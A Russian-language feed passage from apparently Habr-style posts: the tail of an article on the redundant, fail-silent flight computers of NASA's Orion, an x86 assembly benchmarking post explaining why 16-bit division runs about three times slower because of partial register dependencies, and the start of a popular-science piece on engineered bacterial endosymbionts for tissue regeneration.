Одной из главных причин такой избыточности является суровая радиационная среда космоса, где высокоэнергетические частицы могут влиять на авионику и создавать «неверные ответы», которые необходимо отфильтровывать из полётных решений.

Сила восьмерых

Чтобы гарантировать, что эти неверные ответы никогда не дойдут до двигателей космического корабля, НАСА пошло дальше тройной избыточности традиционных систем. «Орион» использует два компьютера управления кораблём, каждый из которых содержит два модуля управления полётом (МУП), что в сумме даёт четыре МУП. Но избыточность идёт ещё дальше: каждый МУП состоит из пары процессоров, проверяющих друг друга.

Фактически восемь процессоров запускают программное обеспечение полёта параллельно. Инженерная философия основана на конструкции с «бесшумным отказом». Пары с функцией самопроверки гарантируют, что если процессор выполнит ошибочный расчёт из-за радиационного воздействия, ошибка будет немедленно обнаружена, и система отреагирует.

«Неисправный компьютер перейдёт в режим „бесшумного отказа“, а не будет передавать неверный ответ», — пояснил Уитенбрук. Такой подход упрощает сложную задачу механизма голосования в триплексной системе, которая сравнивает результаты. Вместо того чтобы сравнивать три ответа для определения верного большинством голосов, система использует алгоритм выбора источника, упорядоченный по приоритету, среди исправных каналов, которые не перешли в режим «бесшумного отказа». Она выбирает выходной сигнал от первого доступного МУП в списке приоритетов; если этот модуль перестал работать из-за неисправности, она переходит ко второму, третьему или четвёртому.

Этот уровень избыточности специально рассчитан на суровые условия глубокого космоса. НАСА ожидало временные сбои во время пролёта миссии «Артемида-2» через пояса Ван Аллена с высоким уровнем радиации.

«Мы можем потерять три МУП за 22 секунды и всё равно безопасно пролететь на последнем МУП», — сказал Уитенбрук. Однако МУП, перешедший в режим «бесшумного отказа», не становится мёртвым грузом; система спроектирована так, чтобы перезагрузиться, повторно синхронизировать своё состояние с работающими модулями и вновь присоединиться к группе в полёте.

Обеспечение детерминированности

Обеспечение синхронной работы нескольких независимых компьютеров — известная проблема в информатике, поскольку даже небольшие отклонения во времени или различия в работе процессоров могут привести к тому, что исправные компьютеры будут казаться несинхронизированными. НАСА решает эту проблему с помощью строго детерминированной архитектуры.

Эта архитектурная дисциплина становится всё более редким явлением в современной разработке. Майкл Райли, руководитель группы в Институте программной инженерии Университета Карнеги-Меллон, ранее сотрудничавший с НАСА по адаптации инструментов оценки рисков для миссии «Орион», отметил, что в то время как предыдущие поколения разработчиков работали в условиях строгих аппаратных ограничений, современная разработка критически важных систем отличается от них.

«Современные подходы Agile и DevOps отдают приоритет итерациям, что может создавать проблемы для архитектурной дисциплины», — пояснил Райли. «В результате накапливается технический долг, а это негативно сказывается на удобстве обслуживания и отказоустойчивости системы».

В «Орионе» используется сеть Ethernet с временным триггером, в которой время распределяется по всей системе. Полётное программное обеспечение работает в рамках «основных фреймов», разделённых на «второстепенные фреймы», управляемые планировщиком, совместимым со стандартом ARINC653. Эта архитектура использует разделение по времени и пространству для планирования разделов внутри этих фреймов, обеспечивая идеальное согласование входов и выходов с сетевым расписанием.

«Эта архитектура гарантирует, что каждый МУП видит одни и те же входные данные, запускает один и тот же код приложения и генерирует одинаковые выходные данные», — сказал Уитенбрук. Каждую секунду измеряется отклонение любого отдельного МУП, и его локальные часы перекалибруются в соответствии с «истинным» временем сети. Если приложение не укладывается в строго назначенный срок, модуль автоматически отключается, сбрасывается и повторно синхронизируется.

Само аппаратное обеспечение также усилено. В системе используется память с тройной модульной избыточностью, которая при каждом чтении самостоятельно исправляет однобитовые ошибки. Даже сетевые интерфейсные карты используют два канала передачи данных, которые постоянно сравниваются, благодаря чему переключение бита в коммуникационной структуре приводит к «бесшумному отказу», а не к повреждению команды. Сама сеть имеет тройную избыточность благодаря трём отдельным логическим уровням, а все сетевые коммутаторы используют алгоритмы самопроверки.

Крайние меры безопасности

Хотя основная система с четырьмя МУП является надёжной, НАСА всё же должно учитывать сбои общего режима — программные ошибки или катастрофические события, которые теоретически могут повлиять на все основные каналы одновременно.

Чтобы снизить эти риски, «Орион» оснастили полностью независимой системой резервного полётного программного обеспечения (РППО). Это яркий пример разнородной избыточности. Она реализована на другом аппаратном обеспечении, работает под управлением другой операционной системы и использует независимо разработанное, упрощённое полётное программное обеспечение.

«Она намеренно отличается, чтобы гарантировать, что сбой программного обеспечения в режиме общего режима в основном полётном программном обеспечении не будет продублирован в резервной системе», — сказал Уитенбрук. РППО постоянно работает в фоновом режиме и автоматически берёт на себя управление, если основные компьютеры выходят из строя. Если система переходит на РППО, она может завершить все динамические части миссии, чтобы достичь фазы покоя, после чего экипаж может попытаться восстановить основные МУП.

Райли подчеркнул, что, хотя логика «бесшумного отказа» имеет решающее значение, она должна сочетаться с активным мониторингом, чтобы избежать катастрофических провалов.

«Если программный компонент выходит из строя без видимых признаков, сбой может остаться незамеченным, если его не отслеживает другой компонент или сторожевой таймер», — сказал он. По его словам, для обеспечения надёжности миссии механизмы обнаружения ошибок и восстановления должны быть явно спроектированы и согласованы на всех уровнях кодовой базы, чтобы гарантировать согласованное поведение.

Даже в случае полной потери питания — так называемой «мёртвой шины» — «Орион» рассчитан на выживание. При восстановлении питания космический аппарат переходит в безопасный режим: сначала он стабилизируется, затем направляет солнечные батареи на Солнце для восстановления энергии. После этого он ориентирует свой хвост в сторону Солнца для обеспечения тепловой стабильности, прежде чем пытаться восстановить связь с Землёй. Во время такой аварии экипаж также может предпринимать определённые действия вручную, настраивая системы жизнеобеспечения или надевая скафандры.

Будущее надёжности

Переход от программы «Аполлон» к программе «Артемида» представляет собой огромный скачок в сложности программного обеспечения. Хотя бортовой управляющий компьютер «Аполлона» был выдающимся достижением, наличие механических резервных систем означало, что компьютер не был единственным гарантом выживания экипажа. Сегодня, когда программное обеспечение управляет каждым термоклапаном и силовым реле, задача состоит в том, чтобы обеспечить синхронизацию и работоспособность программного обеспечения в условиях интенсивного космического излучения.

Чтобы достичь такого уровня уверенности, НАСА в настоящее время использует современные процедуры проверки. Они включают моделирование условий, приближённых к реальным, и стресс-тестирование по методу Монте-Карло для моделирования наихудших вариантов задержек и сбоев связи. Высокопроизводительные суперкомпьютеры используются для крупномасштабного внедрения ошибок, эмулируя целые этапы полёта, в которые вводятся катастрофические сбои оборудования, чтобы проверить, сможет ли программное обеспечение успешно пережить «бесшумный отказ» и восстановить работу.

Поскольку технологии космических полётов исторически способствовали коммерческому прогрессу, архитектура «Ориона» с нулевой терпимостью к ошибкам даёт представление о будущем, в котором основные вычислительные системы — от автономных транспортных средств до промышленных сетей — смогут достичь той же непрерывной отказоустойчивости, которая требуется для полётов к звёздам.

Как одна буква в ассемблере стоит 3× производительности

Erbium — Fri, 17 Apr 2026 19:16:12 +0000

Я хочу показать вам, как одна буква в ассемблере может стоить 3× производительности. Не в теории — на живых замерах. По дороге мы заглянем внутрь процессора: Register Alias Table, partial register merge, scheduler, latency vs throughput, и даже обнаружим, что делитель выдаёт остаток раньше частного.

Но начнём с основ. Приготовьтесь: кроличья нора окажется глубже, чем кажется.

Немного контекста

Процессор x86-64 работает с регистрами — быстрыми ячейками прямо внутри CPU. Их немного (16 основных), зато доступ к ним — за доли такта, в отличие от оперативной памяти, где задержка может достигать сотен тактов.

Главный нюанс: у каждого регистра есть части разного размера, унаследованные от предыдущих поколений архитектуры:

┌───────────────────────────────────────────────────────────────┐
│                           rax (64 бит)                        │
├───────────────────────────────┬───────────────────────────────┤
│          (верхние 32)         │           eax (32 бит)        │
│                               ├───────────────┬───────────────┤
│                               │               │   ax (16 бит) │
│                               │               ├───────┬───────┤
│                               │               │ah (8) │al (8) │
└───────────────────────────────┴───────────────┴───────┴───────┘

rax, eax, ax — это не разные регистры. Это один и тот же регистр, просто вы указываете, какую часть хотите использовать. Запись в eax меняет нижние 32 бита rax. Запись в ax — нижние 16. Это важно — и именно здесь спрятана ловушка, о которой пойдёт речь.

Таких регистров 16: rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp, r8–r15. Для нашей истории важны два: rax и rdx — потому что именно их использует инструкция деления.

Целочисленное деление на x86

Инструкция div (беззнаковое деление) и idiv (знаковое) работают так: делимое берётся из пары регистров, делитель — из операнда, результат раскладывается обратно:

┌──────────┬────────────────┬──────────────┬─────────────────────┐
│ Размер   │ Делимое        │ Частное в    │ Остаток в           │
├──────────┼────────────────┼──────────────┼─────────────────────┤
│ 16-бит   │ dx:ax          │ ax           │ dx                  │
├──────────┼────────────────┼──────────────┼─────────────────────┤
│ 32-бит   │ edx:eax        │ eax          │ edx                 │
├──────────┼────────────────┼──────────────┼─────────────────────┤
│ 64-бит   │ rdx:rax        │ rax          │ rdx                 │
└──────────┴────────────────┴──────────────┴─────────────────────┘

Перед делением нужно подготовить делимое в паре rdx:rax (или edx:eax, или dx:ax). Верхнюю часть обычно обнуляют через mov или xor.

Как работает цикл

В ассемблере нет for и while. Цикл — это метка, тело и условный переход:

    mov ecx, 100       ; счётчик = 100
.loop:
    ; ... тело цикла ...
    dec ecx             ; счётчик -= 1
    jnz .loop           ; если не ноль — прыгаем назад

dec ecx уменьшает счётчик на 1 и выставляет флаги. jnz (jump if not zero) проверяет флаг и прыгает, если результат не ноль. Процессор умеет сливать эти две инструкции в одну операцию (macro-fusion), поэтому пара dec+jnz стоит всего 1 такт.

Эксперимент

Вопрос: сколько тактов процессора стоит одна инструкция div?

Контекст может сильно влиять на результат — кэш, предсказание переходов, другие инструкции рядом. Чтобы измерить стоимость деления в чистом виде, напишем плоский цикл на 1920×1080 = 2 073 600 итераций. Почему такое число? Представьте рендер: 1920×1080 пикселей, на каждый — деление.

Тело цикла: два mov для подготовки делимого + инструкция деления. Все делят одно и то же: 536700 / 2700. Подготовка регистров — стандартная для каждого размера:

; 16-бит unsigned                ; 16-бит signed
mov dx, 0x0008                   mov dx, 0x0008
mov ax, 0x2B7C                   mov ax, 0x2B7C
div word [best_den]              idiv word [best_den]

; 32-бит unsigned                ; 32-бит signed
mov edx, 0                       mov edx, 0
mov eax, 536700                  mov eax, 536700
div dword [best_den]             idiv dword [best_den]

; 64-бит unsigned                ; 64-бит signed
mov rdx, 0                       mov rdx, 0
mov rax, 536700                  mov rax, 536700
div qword [best_den]             idiv qword [best_den]

Но сначала проверим, сколько стоит сам цикл без деления — только setup:

┌────────────────────────────────┬──────────┐
│ Setup (без div)                │ cpr      │
├────────────────────────────────┼──────────┤
│ 16-бит (mov dx + mov ax)       │ 1924     │
├────────────────────────────────┼──────────┤
│ 32-бит (mov edx + mov eax)     │ 1928     │
├────────────────────────────────┼──────────┤
│ 64-бит (mov rdx + mov rax)     │ 1924     │
└────────────────────────────────┴──────────┘
  (cpr = cycles per row = total / 1080)

Все setup-ы дают ~1920 cpr — 1 такт на итерацию. Мувы бесплатны: они уходят на свободные ALU-порты параллельно с dec/jnz. Значит, всё что мы замерим дальше — это чистая стоимость деления.

Глава 1. Странная таблица

Результаты:

┌────────┬───────────────┬────────────────┐
│        │ signed (idiv) │ unsigned (div) │
├────────┼───────────────┼────────────────┤
│ 16-bit │ 44 447        │ 44 457         │
├────────┼───────────────┼────────────────┤
│ 32-bit │ 13 445        │ 13 445         │
├────────┼───────────────┼────────────────┤
│ 64-bit │ 52 289        │ 48 160         │
└────────┴───────────────┴────────────────┘
  (cycles per row, 1920 итераций на строку)

Переведём в такты на одну итерацию (cpr / 1920) и вычтем стоимость цикла без инструкции деления (1 такт):

┌────────┬──────────────┬──────────────┬──────────────┬──────────────┐
│        │ idiv (полн.) │ idiv (чист.) │ div (полн.)  │ div (чист.)  │
├────────┼──────────────┼──────────────┼──────────────┼──────────────┤
│ 16-bit │ 23.2         │ 22.2         │ 23.2         │ 22.2         │
├────────┼──────────────┼──────────────┼──────────────┼──────────────┤
│ 32-bit │  7.0         │  6.0         │  7.0         │  6.0         │
├────────┼──────────────┼──────────────┼──────────────┼──────────────┤
│ 64-bit │ 27.2         │ 26.2         │ 25.1         │ 24.1         │
└────────┴──────────────┴──────────────┴──────────────┴──────────────┘
  (тактов на итерацию; чист. = минус стоимость цикла без деления)

16-бит — ~22 такта на деление. 64-бит — ~24–26 тактов. Примерно один порядок.

А 32-бит — ~6 тактов. Почти в 3 раза быстрее.

Если бы время росло с увеличением битности — 16 < 32 < 64 — это было бы логично: больше бит, сложнее операция. Но здесь именно 32-бит выбиваются вниз. Код одинаковый по структуре: два mov, один div. Числа одни и те же. Единственная разница — размер регистров. Почему 32-бит настолько быстрее?

Глава 2. Что происходит внутри процессора

Чтобы понять, откуда разница, нужно заглянуть под капот.

Регистр rax, который вы видите в коде — это не физический регистр. Это имя. Псевдоним.

Внутри процессора есть register file — массив из ~180 безымянных физических регистров. И таблица переназначений — Register Alias Table (RAT) — которая в каждый момент говорит: «rax — это сейчас физический регистр №47».

Когда вы пишете mov rax, 10, процессор берёт из пула новый физический регистр — скажем, №112 — записывает туда 10 и обновляет RAT: rax → №112. Старый №47 живёт, пока все инструкции, которые его читают, не завершатся. Это основа out-of-order execution — параллельного исполнения инструкций.

Теперь ключевой момент. В x86-64 есть правило:

Запись в 32-битный регистр (mov edx, ...) обнуляет верхние 32 бита. Полная перезапись. Процессор создаёт новый физический регистр, старая версия не нужна. Зависимости нет.
Запись в 16-битный регистр (mov dx, ...) верхние 48 бит не трогает. Процессор должен создать новый rdx, где нижние 16 бит — новые, а верхние 48 — из предыдущей версии. Для этого нужно дождаться готовности предыдущего rdx. Это создаёт зависимость, которая нам не нужна — верхние 48 бит мы не используем, и они пролетают над гнездом кукушки каждый раз в неизменном виде.

В нашем 16-битном цикле это катастрофа. div word записывает результат в ax и dx — тоже 16-битные записи. А div word при этом тоже должен склеить свой результат с верхними 48 битами предыдущего rax и rdx — это ещё один merge. Получается, верхние 48 бит никому не нужны — ни div, ни mov dx — но они протаскиваются через каждую итерацию, создавая цепочку зависимостей: div → merge → mov dx → merge → div → .... Каждая итерация ждёт предыдущую.

В 32-битном варианте mov edx, 0 обнуляет верхние 32 бита — цепочка разрывается. Итерации становятся независимыми, и процессор может перекрывать их.

Здесь нужно ввести два понятия:

Latency — сколько тактов от начала div до готовности результата. Для 16-битного div на Coffee Lake: 21–22 такта (данные uops.info).

Throughput — через сколько тактов делитель может принять следующую операцию. Для 16-битного div: 6 тактов (данные uops.info).

Делитель частично конвейеризирован: через ~6 тактов вход свободен, хотя предыдущее деление ещё не закончило.

16-бит с mov dx (ненужная зависимость): каждая итерация ждёт предыдущую → bottleneck = latency = ~22 такта.

32-бит с mov edx (нет зависимости): итерации перекрываются → bottleneck = throughput = ~6 тактов.

22 / 6 = ~3.7×. Вот почему 32-бит так выбивается в нашей таблице.

Если теория верна, то и 16-битный div word должен ускориться, если мы уберём ненужную зависимость — заменим mov dx на mov edx. Проверим.

Глава 3. Проверяем теорию

Заменяем 16-битные mov на 32-битные в обоих вариантах:

; div word — было:               ; div word — стало:
mov dx, 0x0008                   mov edx, 8
mov ax, 0x2B7C                   mov eax, 0x2B7C
div word [best_den]              div word [best_den]

; idiv word — было:              ; idiv word — стало:
mov dx, 0x0008                   mov edx, 8
mov ax, 0x2B7C                   mov eax, 0x2B7C
idiv word [best_den]             idiv word [best_den]

Одна буква e. Тот же div word, те же числа. Сначала проверим, что сам setup по-прежнему бесплатен:

┌──────────────────────────────────┬──────┐
│ Setup (без div)                  │ cpr  │
├──────────────────────────────────┼──────┤
│ 32-бит для word (mov edx/eax)    │ 1925 │
└──────────────────────────────────┴──────┘

1 такт — как и все остальные setup-ы. Теперь запускаем с делением:

┌───────────────────────┬───────────────┬────────────────┐
│                       │ signed (idiv) │ unsigned (div) │
├───────────────────────┼───────────────┼────────────────┤
│ 16-bit (mov dx)       │ 44 447        │ 44 457         │
├───────────────────────┼───────────────┼────────────────┤
│ 16-bit (mov edx)      │ 15 368        │ 15 368         │
├───────────────────────┼───────────────┼────────────────┤
│ 32-bit                │ 13 445        │ 13 445         │
├───────────────────────┼───────────────┼────────────────┤
│ 64-bit                │ 52 289        │ 48 160         │
└───────────────────────┴───────────────┴────────────────┘

В тактах (чистая стоимость деления):

┌───────────────────────┬──────────────┬──────────────┐
│                       │ idiv (чист.) │ div (чист.)  │
├───────────────────────┼──────────────┼──────────────┤
│ 16-bit (mov dx)       │ 22.2         │ 22.2         │
├───────────────────────┼──────────────┼──────────────┤
│ 16-bit (mov edx)      │  7.0         │  7.0         │
├───────────────────────┼──────────────┼──────────────┤
│ 32-bit                │  6.0         │  6.0         │
├───────────────────────┼──────────────┼──────────────┤
│ 64-bit                │ 26.2         │ 24.1         │
└───────────────────────┴──────────────┴──────────────┘

16-бит с mov edx — 15 368 cpr (7.0 тактов чистых). С mov dx было 44 447 cpr (22.2 такта). Втрое быстрее. Теория подтверждена.

Мы уже знаем из наших замеров, что сами mov-ы бесплатны — все setup-ы стоят 1 такт. Значит, вся разница — в зависимостях, которые 16-битные записи создают внутри цикла с div.

Глава 4. А что с 64-битным делением?

С 16-бит разобрались. Но в таблице осталась странность: 64-бит div qword — ~48 160 cpr, это ~25 тактов на итерацию. При этом зависимостей нет: mov rdx, 0 и mov rax, 536700 — полные 64-битные перезаписи, цепочка разорвана.

Значит, ~25 тактов — это не latency, а throughput 64-битного делителя. Он просто не может быстрее. Данные uops.info подтверждают: throughput div r64 на Coffee Lake = ~21 такт. На 64-битном делении CPU тратит 33 µops (32 из микрокода!) вместо 10 для 16/32-бит. Совершенно другая реализация.

Но если ~21 такт — это throughput, то latency должна быть больше. uops.info говорит: latency от 32 тактов. Значит, если создать зависимость между итерациями, время должно вырасти.

Глава 5. Где зависимость?

Создадим зависимость. После div qword (536700 / 2700): rax = 198, rdx = 2100. Мы знаем результат — значит, через вычитание можно вернуть rdx к нулю, сохранив зависимость:

mov rax, 536700
sub rdx, 2100          ; 2100 - 2100 = 0, зависит от rdx
div qword [best_den]

Запускаем: ~46 300 cpr. Столько же, сколько без зависимости. Время не выросло.

Странно. Зависимость div → sub → div точно есть. sub читает rdx, который записал div. Почему это не замедляет?

Глава 6. Ищу latency

Может, ~21 такт — это и есть latency, а не throughput? Может, для маленьких чисел делитель просто быстрее, чем обещает uops.info?

Попробуем увеличить число: 536700000, потом 5367000000000. Результат — тот же: ~46 000–48 000 cpr. Размер числа не влияет.

Глава 7. Две зависимости

div qword читает два входных регистра: rdx:rax. До сих пор мы создавали зависимость только по rdx. А что, если нужна зависимость по обоим?

После div: rax = 198, rdx = 2100. Через сложение возвращаем оба к исходным значениям:

add rax, 536502       ; 198 + 536502 = 536700, зависит от rax
add rdx, -2100        ; 2100 - 2100 = 0, зависит от rdx
div qword [best_den]

Те же числа. Тот же результат. Запускаем: ~67 050 cpr = 34 такта на итерацию!

Было 24 такта без зависимости. Стало 34 с зависимостью. Разница 10 тактов. Вот настоящая latency. И ~34 — это как раз в диапазоне 32+, который указывает uops.info.

Глава 8. Какой именно регистр?

Но подождите. Зависимость по одному rdx (глава 5) не замедлила цикл, а зависимость по обоим — замедлила. Значит, дело конкретно в rax?

Проверяем три варианта:

; Вариант 1: зависимость только по rax
add rax, 536502          ; зависит от rax
xor edx, edx             ; НЕ зависит от rdx
div qword [best_den]

; Вариант 2: зависимость только по rdx
mov rax, 536700           ; НЕ зависит от rax
add rdx, -2100            ; зависит от rdx
div qword [best_den]

; Вариант 3: оба
add rax, 536502
add rdx, -2100
div qword [best_den]

Результаты:

┌────────────────┬─────────┬───────────────────┐
│ Зависимость    │ cpr     │ Такты/итерацию    │
├────────────────┼─────────┼───────────────────┤
│ нет            │ ~48 000 │ ~24 (throughput)   │
├────────────────┼─────────┼───────────────────┤
│ только rax     │ 67 800  │ 34.3              │
├────────────────┼─────────┼───────────────────┤
│ только rdx     │ 46 250  │ 23.1              │
├────────────────┼─────────┼───────────────────┤
│ оба            │ 67 050  │ 34.0              │
└────────────────┴─────────┴───────────────────┘

Зависимость по rax → 34 такта. Зависимость по rdx → 23 такта. Как будто зависимости нет.

Глава 9. Остаток приходит раньше частного

Делитель выдаёт результаты не одновременно.

Остаток (rdx) готов через ~23 такта — раньше, чем throughput делителя (~21). Поэтому зависимость по rdx ничего не стоит: к моменту, когда делитель готов принять следующую операцию, rdx уже давно посчитан.

Частное (rax) готов через ~34 такта — позже, чем throughput. Делитель свободен, add rax, 536502 готова к выполнению, но ей нужен rax, которого ещё нет. 10 тактов простоя.

Данные uops.info подтверждают: на Coffee Lake для DIV R64 latency до rax (частное) начинается от 32 тактов, а до rdx (остаток) — от 5 тактов.

Полная карта делителя

Данные uops.info для Coffee Lake:

┌────────────┬──────────────┬──────────────┬────────────┬───────┬─────────────┐
│ Инструкция │ Lat →rax     │ Lat →rdx     │ Throughput │ µops  │ Из микрокода│
├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤
│ div r16    │ 21           │ 22           │ 6          │ 10    │ 7           │
├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤
│ idiv r16   │ 21           │ 22           │ 6          │ 10    │ 7           │
├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤
│ div r32    │ 24–26        │ 24–26        │ 6          │ 10    │ 7           │
├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤
│ idiv r32   │ 24–26        │ 24–26        │ 6          │ 10    │ 7           │
├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤
│ div r64    │ 32–87        │ 5–75         │ 21         │ 33    │ 32          │
├────────────┼──────────────┼──────────────┼────────────┼───────┼─────────────┤
│ idiv r64   │ 38–94        │ 39–95        │ 24         │ 56    │ 53          │
└────────────┴──────────────┴──────────────┴────────────┴───────┴─────────────┘

16/32-бит: 10 µops, throughput 6. Зазор latency/throughput — ~3.7×. Partial register merge не даёт попасть в throughput, и мы видим latency.

64-бит div: 33 µops (32 из микрокода!), throughput 21. Другая реализация.

64-бит idiv: 56 µops. Знаковое 64-битное деление — самая тяжёлая целочисленная операция на Skylake.

Итоги

Регистры — это псевдонимы. Физические регистры выделяются динамически через RAT. Это основа OoO-execution.
16-битные записи ядовиты. Они создают ложные зависимости через partial register merge. 32-битные записи обнуляют верх и разрывают цепочку. Причём никакой экономии нет: mov dx, imm16 всё равно занимает целый 64-битный физический регистр и добавляет merge µop сверху.
Latency ≠ throughput. Делитель может принять новую операцию задолго до выдачи результата предыдущей. Но только если зависимости не блокируют подачу операндов.
Разные выходы одной инструкции имеют разную latency. Остаток готов раньше частного. Зависимость от «быстрого» выхода может быть бесплатной.
Размер операнда определяет реализацию. 16/32-бит div — 10 µops. 64-бит — 33 µops из микрокода. Это не масштабирование, это другой алгоритм.

Наверное вы успели заметить, что в одном случае 6 тактов, а в другом 7 тактов, хотя throughput - 6. Кто украл такт? И как вообще так получилось, что все, что вокруг деления на в одном случае ничего не стоит, а в другом случае обходится лишь в 1 такт. Если это будет интересно, то я обязательно освещу это в другой статье. Всем спасибо, что дочитали до конца!

Замеры выполнены на Intel Core i7-10510U (Comet Lake, 14nm, микроархитектура Skylake). Данные о latency и throughput — uops.info. Все эксперименты — чистый NASM x86-64, Linux/X11.

Как приручить эндосимбионтов. Выращивание клеток и тканей вместо трансплантации

OlegSivchenko — Fri, 17 Apr 2026 19:01:17 +0000

Когда-нибудь я хотел бы рассказать на Хабре о величайшей «инсайдерской сделке» в истории нашей планеты — как хлоропласты и митохондрии стали симбионтами эукариотов, а затем были ими порабощены, по-видимому, утратив большую часть генома и сначала потеряв способность жить вне клетки-хозяина, а затем и превратившись в известные нам органеллы. Но за исследованием этой темы мне попался сюжет, достойный отдельной публикации на Хабре, которую вы сейчас видите.

Одной из самых высокотехнологичных и жизненно необходимых операций в арсенале современной медицины является трансплантация органов и тканей. При этом такие операции до сих пор остаются крайне инвазивными и рискованными как из-за глубины хирургического вмешательства, так и из-за опасности иммунного отторжения трансплантата. Ещё в 2018 году уважаемый Максим Агаджанов @marks писал на Хабре об искусственной коже, изобретённой в Массачусетском технологическом институте для покрытия бионических протезов. Но меня заинтересовало, а существует ли хотя бы в статусе НИОКР технология, которая позволила бы отказаться от трансплантации органов и (хотя бы в молодом организме, пострадавшем из-за болезни или травмы, а не из-за одряхления) аккуратно восстанавливать органы и ткани? В наше время подобные наработки уже существуют, они связаны с использованием искусственных бактерий и биоплёнок в области точной медицины с применением генной инженерии.

Если какой-то из жизненно важных органов отказывает в результате травмы или критической недостаточности, то иногда нет другого выхода, кроме как заменить его донорским органом (но существуют и более экзотические технологии, о которых упоминает на Хабре уважаемая @Ekaterina_T, также обратите внимание на комментарий уважаемого @Meklon к её статье). Тем не менее, донорских органов всегда не хватает, требования к их транспортировке очень сложны, а риск иммунного отторжения исключить невозможно. Срок ожидания донорского сердца или лёгкого в США составляет около 4 месяцев, срок ожидания донорской почки достигает 5 лет.

Поэтому остро требуется технология, которая позволяла бы восстанавливать или заменять нефункциональные органы прямо внутри тела, чтобы этот процесс напоминал не пересадку, а латание. Например, после пережитого инфаркта можно было бы заменить свежей мышечной тканью сам рубец, а при болезни Паркинсона выращивать новые нейроны в темпе, умеренно превышающем темп отказа собственных нейронов пациента. Кроме того, этот метод был бы полезен и при старческих или хронических заболеваниях, когда некоторые ткани (например, хрящи или коллагеновые волокна) изнашиваются по чисто механическим причинам.

Опытным путём доказано, что взрослые соматические клетки можно превращать в плюрипотентные стволовые клетки, перепрограммируя их на уровне генома. Эта технология освоена in vitro, но для её адаптации к in vivo требуется биохимический механизм, который не приводил бы к неконтролируемому делению стволовых клеток, образованию тератом и раковых опухолей. Такое решение может иметь вид искусственных органелл (эндосимбионтов), которые внедряются в клетки поражённого/протезируемого органа (ткани) и действовать как переключатели, направляющие процесс восстановления ткани.

Разработкой подобных органелл на основе прокариотических клеток (бактерий) занимается, в частности, группа под руководством Криса Контага в университете штата Мичиган (на базе Инженерного колледжа). Давайте уточним как такой эндосимбиоз соотносится с обычным симбиозом, а также как бактерию превращают в генетический инструмент.

Что такое эндосимбиоз

Симбиоз — это тесные взаимно благоприятные отношения особей неродственных видов. Симбиоз повышает шансы на выживание для всех участников этого союза. Все поклонники мультфильма «В поисках Немо» знают о симбиозе морских анемонов (актиний) и рыб-клоунов.

Симбиоз может быть не только полезной опцией, но и необходимым условием выживания. На макроуровне наиболее ярким примером такого рода являются лишайники, представляющие собой симбиоз грибов и водорослей. В случае с лишайниками водоросли, пожалуй, Являются более важным участником такого союза, поскольку обеспечивают систему питанием (благодаря фотосинтезу), а грибы дают водорослям опору и защиту.

Аналогично, эндосимбионт — это небольшая (в нашем случае — генетически модифицированная) клетка бактериального происхождения, живущая внутри более крупных эукариотических клеток, из которых состоят органы и ткани животных и растений. Команда Криса Контага внедряет в безвредные бактерии гены эукариот, служащие для взаимодействия такого микроорганизма с клеткой-хозяином, а потом методом направленной эволюции сокращает геном эндосимбионта до такого необходимого минимума, который позволял бы ему выполнять свои функции, но при этом не приводил к конкуренции эндосимбионта с хозяином за питательные вещества и другие ресурсы. Таким образом, эндосимбионт не пытается навредить хозяину (не превращается в паразита). В геном таких искусственных бактерий внедряются гены, кодирующие светящиеся пигменты. Благодаря этим пигментам, эндосимбионтов проще находить в организме хозяина, а также контролировать, активны ли генетически изменённые гены. Кроме того, характер свечения позволяет судить, правильно ли работает вся система.

Искусственные эндосимбионты сделаны по образу и подобию митохондрий. Модифицированный бактериальный геном остаётся изолирован от клетки-хозяина, что принципиально отличает эндосимбионтов от генетических векторов, плазмид или внеклеточных препаратов. Поскольку у эндосимбионта есть своя оболочка, на ней можно разместить рецепторы, реагирующие как на биохимические изменения в самой клетке, так и на сигнальные препараты, вводимые в организм экспериментатором или врачом. Эндосимбионт реагирует на эти стимулы строго определёнными откликами на молекулярном уровне, которые выполняются подобно короткой программе или скрипту. Кроме того, набор генов эндосимбионта позволяет не только управлять им на уровне биохимии, но и задействовать пространственную транскриптомику, протеомику и делать внутриклеточные «снимки». Для этого создаются цепочки последовательно срабатывающих генов, и эти генетические контуры обладают заданными свойствами. Такой пространственный подход к изучению биохимии позволяет отслеживать межклеточные взаимодействия как в здоровых, так и в поражённых тканях, картировать функции целого объёма ткани (в трёх измерениях), а не просто исследовать разрозненные клетки в культуре. Таким образом, отслеживается поведение клеток в ткани как в экосистеме; следовательно, реконструируется структура и логика поведения ткани. Затем эта информация используется в качестве шаблона для диагностической и/или лечебной работы с участием эндосимбионтов. Именно при регенерации нейронов и синапсов такой пространственный подход принципиально важен.

Интеграция таких диагностических и восстановительных свойств эндосимбионтов открывает возможности для гораздо более продвинутой терапии, чем простое стимулирование работы ткани, где выраженность стимула зависит от дозировки препарата, а работа отдельных клеток не контролируется. Перепрограммирование соматических клеток в стволовые при помощи эндосимбионтов поддаётся динамической количественной оценке, визуализации и итеративному улучшению. В таком контексте генно-инженерный эндосимбиоз превращается в программируемую процедуру с детализацией вплоть до отдельных клеток. Метод позволяет в режиме реального времени оценивать, как изменения распространяются по ткани и не допускать, чтобы они становились патологическими или злокачественными. Фактически, это постепенная перенастройка клеток и контролируемая (а не стохастическая) регенерация на клеточном уровне.

Генетически изменённые бактерии для перепрограммирования клеток

В настоящее время аналогичные задачи, связанные с перепрограммированием клеток, как правило, решаются при помощи вирусных векторов. Вирус, встраиваясь в клетку, привносит в неё и генетическую полезную нагрузку. Это грубая технология, с которой связаны серьёзные риски — например, мутации при генетических вставках и необратимые изменения клеток. В случае с эндосимбионтами разница очевидна — симбионт заносит в клетку-хозяина нужный генетический материал, не затрагивая при этом её геном, благодаря чему коррекция работы клетки протекает плавно и гораздо более безопасно.

